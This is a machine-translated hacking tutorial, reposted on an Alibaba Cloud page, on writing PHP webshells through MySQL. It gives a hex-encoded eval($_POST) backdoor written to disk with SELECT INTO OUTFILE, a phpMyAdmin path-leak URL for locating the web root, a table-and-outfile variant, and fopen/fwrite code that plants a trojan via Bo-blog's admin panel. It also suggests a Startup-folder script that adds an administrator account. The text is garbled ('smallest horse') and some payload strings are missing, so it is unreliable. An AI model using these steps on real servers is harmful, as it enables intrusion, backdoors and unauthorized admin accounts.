Take Php+mysql.

Source: Internet
Author: User
In the MySQL operation, enter select 0x3c3f6576616c28245f504f53545b615d293b3f3e from Mysql.user to outfile ' path ' to get a <?eval ($_post[ A]);? > The smallest horse ' 0x3c3f6576616c28245f504f53545b615d293b3f3e is our <?eval ($_post[a]);? > Hex, this method is more common to phpMyAdmin, the first use of phpMyAdmin path leak vulnerability, more typical is http://url/phpmyadmin/libraries/select_lang.lib.php.

Can be out of the path, PHP environment is more prone to burst out absolute path:). One thing to mention is that the encounter is MySQL under the win system path should be written d:\\wwwroot\\a.php. The following method is a common method of exporting Webshell, you can also write a VBS add system administrator's script to export to the Startup folder, the system will be re-added an administrator account

CREATE TABLE A (cmd text not NULL)
INSERT into a (cmd) VALUES (' ")?
Select cmd from A to outfile ' path/b.php '
DROP TABLE IF EXISTS A
Accessing b.php will generate a the smallest horse.
If you encounter the ability to execute PHP commands is much simpler, the typical representative is Bo-blog, in the background of the PHP command box to enter the following code:
?
$sa = fopen ("./up/saiy.php", "w");
Fwrite ($sa, " ");
Fclose ($SA);
? >

will be generated in the up directory file named saiy.php content of the smallest PHP trojan, finally connected with Lanker client. In practice, consider whether the folder has write permissions. or enter such code ")? > will generate a a.php minimum horse in the current directory.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.